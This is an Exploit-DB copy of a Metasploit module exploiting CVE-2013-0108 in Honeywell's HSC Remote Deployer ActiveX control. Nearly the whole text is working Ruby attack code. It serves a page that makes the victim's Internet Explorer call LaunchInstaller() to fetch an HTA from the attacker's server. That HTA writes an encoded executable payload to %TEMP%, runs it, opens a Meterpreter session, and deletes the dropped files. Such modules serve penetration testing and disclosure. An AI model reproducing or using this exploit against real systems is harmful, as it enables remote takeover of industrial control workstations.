Honeywell HSC Remote Deployer – ActiveX Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-03-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24745/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
    'Description'=> %q{
    This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
    ActiveX. This control can be abused by using the LaunchInstaller() function to
    execute an arbitrary HTA from a remote location. This module has been tested
    successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
    R410.1.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'juan vazquez'
    ],
    'References' =>
    [
    [ 'CVE', '2013-0108' ],
    [ 'OSVDB', '90583' ],
    [ 'BID', '58134' ],
    [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/03/11/cve-2013-0108-honeywell-ebi' ],
    [ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
    ],
    'Payload'=>
    {
    'Space'=> 2048,
    'StackAdjustment' => -3500
    },
    'DefaultOptions'=>
    {
    'InitialAutoRunScript' => 'migrate -f -k'
    },
    'Platform' => 'win',
    'Targets'=>
    [
    [ 'Automatic', {} ]
    ],
    'Privileged' => false,
    'DisclosureDate' => "Feb 22 2013",
    'DefaultTarget'=> 0))
    end
    
    def exploit
    @var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
    @dropped_files = [
    @var_exename
    ]
    super
    end
    
    def on_new_session(session)
    if session.type == "meterpreter"
    session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end
    
    @dropped_files.delete_if do |file|
    win_file = file.gsub("/", "\\\\")
    if session.type == "meterpreter"
    begin
    wintemp = session.fs.file.expand_path("%TEMP%")
    win_file = "#{wintemp}\\#{win_file}"
    session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
    session.fs.file.rm(win_file)
    print_good("Deleted #{file}")
    true
    rescue ::Rex::Post::Meterpreter::RequestError
    print_error("Failed to delete #{win_file}")
    false
    end
    
    end
    end
    end
    
    def build_hta(cli)
    var_shellobj= rand_text_alpha(rand(5)+5);
    var_fsobj= rand_text_alpha(rand(5)+5);
    var_fsobj_file= rand_text_alpha(rand(5)+5);
    var_vbsname= rand_text_alpha(rand(5)+5);
    var_writedir= rand_text_alpha(rand(5)+5);
    
    var_origLoc= rand_text_alpha(rand(5)+5);
    var_byteArray= rand_text_alpha(rand(5)+5);
    var_writestream= rand_text_alpha(rand(5)+5);
    var_strmConv= rand_text_alpha(rand(5)+5);
    
    p = regenerate_payload(cli);
    exe = generate_payload_exe({ :code => p.encoded })
    
    # Doing in this way to bypass the ADODB.Stream restrictions on JS,
    # even when executing it as an "HTA" application
    # The encoding code has been stolen from ie_unsafe_scripting.rb
    print_status("Encoding payload into vbs/javascript/hta...");
    
    # Build the content that will end up in the .vbs file
    vbs_content= Rex::Text.to_hex(%Q|
    Dim #{var_origLoc}, s, #{var_byteArray}
    #{var_origLoc} = SetLocale(1033)
    |)
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_ary = []
    # The output of this loop needs to be as small as possible since it
    # gets repeated for every byte of the executable, ballooning it by a
    # factor of about 80k (the current size of the exe template).In its
    # current form, it's down to about 4MB on the wire
    exe.each_byte do |b|
    vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
    end
    vbs_content << vbs_ary.join("")
    
    # Continue with the rest of the vbs file;
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    #print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
    Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
    #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
    
    Set #{var_strmConv} = CreateObject("ADODB.Stream")
    
    #{var_strmConv}.Type = 2
    #{var_strmConv}.Charset = "x-ansi"
    #{var_strmConv}.Open
    #{var_strmConv}.WriteText s, 0
    #{var_strmConv}.Position = 0
    #{var_strmConv}.Type = 1
    #{var_strmConv}.SaveToFile #{var_writedir}, 2
    
    SetLocale(#{var_origLoc})|)
    
    hta = <<-EOS
    <script>
    var #{var_shellobj} = new ActiveXObject("WScript.Shell");
    var #{var_fsobj}= new ActiveXObject("Scripting.FileSystemObject");
    var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
    var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
    
    #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
    #{var_fsobj_file}.Close();
    
    #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
    #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
    #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
    window.close();
    </script>
    EOS
    
    return hta
    end
    
    def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    
    if agent !~ /MSIE \d/
    print_error("Browser not supported: #{agent.to_s}")
    send_not_found(cli)
    return
    end
    
    uri= ((datastore['SSL']) ? "https://" : "http://")
    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
    uri << ":#{datastore['SRVPORT']}"
    
    print_status("Request received for #{request.uri}");
    
    if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
    hta = build_hta(cli)
    print_status("Sending HTA application")
    send_response(cli, hta, {'Content-Type'=>'application/hta'})
    return
    end
    
    html = <<-EOS
    <html>
    <body>
    <object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
    </object>
    <script>
    RemoteInstaller.LaunchInstaller("#{uri}", "", false);
    </script>
    </body>
    </html>
    EOS
    
    # we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
    proc = Proc.new do |cli, req|
    on_request_uri(cli, req)
    end
    
    add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
    
    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
    
    end
    
    end